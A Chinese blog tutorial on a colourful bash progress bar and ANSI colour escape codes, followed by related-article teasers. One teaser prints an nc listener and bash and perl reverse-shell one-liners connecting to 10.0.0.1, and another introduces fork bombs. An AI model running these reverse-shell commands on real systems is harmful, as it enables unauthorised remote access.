shell脚本实现多彩进度条

先贴代码

#!/bin/bash
i=0;
str=""
arr=("|" "/" "-" "\\")
while [ $i -le 100 ]
do
  let index=i%4
  let indexcolor=i%8
  let color=30+indexcolor
  printf "\e[0;$color;1m[%-100s][%d%%]%c\r" "$str" "$i" "${arr[$index]}"
  sleep 0.1
  let i++
  str+='='
done
printf "\n"

没错代码就这么简单 其实前面的都差不多就是下面的输出时颜色控制线面我们就介绍一下颜色控制的原理

终端的字符颜色由转义序列(Escape Sequence)控制,是文本模式下的系统显示功能,与具体语言无关。转义序列以控制字符'ESC'开头。该字符的ASCII码十进制表示为27,十六进制表示为0x1B,八进制表示为033。多数转义序列超过两个字符,故通常以'ESC'和左括号'[‘开头。该起始序列称为控制序列引导符(CSI,Control Sequence Intro),通由‘\033['或‘\e['代替。
通过转义序列设置终端显示属性时,可采用以下格式:

\033[ Param {;Param;…}m 或 \e[ Param {;Param;…}m 

其中,‘\033['或‘\e['引导转义序列,‘m'表示设置属性并结束转义序列。Param为属性值,{…}表示可选(多个参数之间用分号隔开,与顺序无关)。 转义序列相关的常用参数如下(通过man console_codes命令可查看更多的参数描述):

显示: 0(默认)、1(粗体/高亮)、22(非粗体)、4(单条下划线)、24(无下划线)、5(闪烁)、25(无闪烁)、7(反显、翻转前景色和背景色)、27(无反显)

颜色: 0(黑)、1(红)、2(绿)、 3(黄)、4(蓝)、5(洋红)、6(青)、7(白)

前景色为30+颜色值,如31表示前景色为红色;背景色为40+颜色值,如41表示背景色为红色。

设置格式:

\033[显示方式;前景色;背景色m输出字符串\033[0m 或

\e[显示方式;前景色;背景色m输出字符串\033[0m

部分内容来自网络,代码来由自己编写,有问题请评论

以上所述是小编给大家介绍的shell脚本实现多彩进度条,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我们网站的支持!

时间: 2017-07-02

shell脚本实现多进程运行的方法示例

本文主要跟大家分享了shell脚本实现多进程运行的相关内容,分享出来供大家参考学习,下面来一起看看详细的介绍: 例子 for ip in 192.168.56.{1..254} do ( ping $ip -c 4 &>/dev/null; if [ $? -eq 0 ]; then echo $ip is alive fi ) & done wait 解释 重点是在于()和&,把for里面需要执行的命令当作一个组合并在后台运行. wait等待所有后台子程序执行完毕 执行效率

Linux下NC反弹shell命令(推荐)

本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p

详解Linux Shell 实现一个获取任意位数的随机密码的脚本

Shell 命令行,实现一个获取任意位数的随机密码的脚本 每次我们想要获得一个密码的时候都很头疼,于是我之前自己用nodejs写了一个 Shell 脚本.这两天在学习 bash Shell 所以,想用同样的逻辑实现一个获取任意位数随机密码的脚本. 我成功了 :) 分析问题 我们假设我们需要的密码是大小写字母以及数字的组合,并且剔除掉 1,l,0,O,o 这些不便于认知的字符. 然后随机的读取其中的字符,组合成一个我们需要的密码,最后输出. 理顺了逻辑之后,我想到有下面的知识点是我之前不是很熟悉的

shell如何记录用户的IP与命令详解

记录输入的命令 history命令可以查看用户输入过的命令,一个典型history命令输出如下: 980 2017-05-29 20:17:37 cd - 981 2017-05-29 20:17:41 cat index.html 982 2017-05-29 20:20:11 vim index.html 983 2017-05-29 20:39:18 cd - 984 2017-05-29 20:39:25 cd /var/log/nginx/ 985 2017-05-29 20:39:2

提高你工作效率的shell命令总结大全

前言 大家都知道Shell是一个用C语言编写的程序,它是用户使用 Linux 的桥梁.Shell就是一个命令行解释器,它的作用是解释执行用户的命令,用户输入一条命令,Shell就解释执行一条,这种方式称为交互式(Interactive).下面这篇文章主要给大家分享了一些关于提高工作效率的shell命令,话不多说,来一起看看详细的介绍: 一.切换目录 注意:当前用户是xiaochao,系统为centos6,并且,shell命令是严格区分大小写的. 显示当前目录路径:pwd pwd output:/

Shell脚本经典之Fork炸弹的分析与预防

fork炸弹介绍 众所周知,bash是一款极其强大的shell,提供了强大的交互与编程功能.这样的一款shell中自然不会缺少函数这个元素来帮助程序进行模块化的高效开发与管理.于是产生了由于其特殊的特性,bash拥有了fork炸弹.Jaromil在2002年设计了最为精简的一个fork炸弹的实现. 所谓fork炸弹是一种恶意程序,它的内部是一个不断在fork进程的无限循环,fork炸弹并不需要有特别的权限即可对系统造成破坏.fork炸弹实质是一个简单的递归程序.由于程序是递归的,如果没有任何限制

shell脚本学习之调用脚本将文件打包zip的方法示例

前言 本文主要给大家介绍的是关于调用脚本将文件打包zip的相关资料,分享出来供大家参考学习,下面来一起看看详细的介绍: 最近刚刚接触shell脚本,写了一点简单的练手.这里是用python调用脚本执行打包操作. 方法如下: 第一步,创建脚本: #!/bin/sh CERT_DIR_ZIP=/data/cert/keys zip_user(){ zip -P $zip_psw /data/frontend/tmp/$zip_name.zip $client/* } if [ "x$1"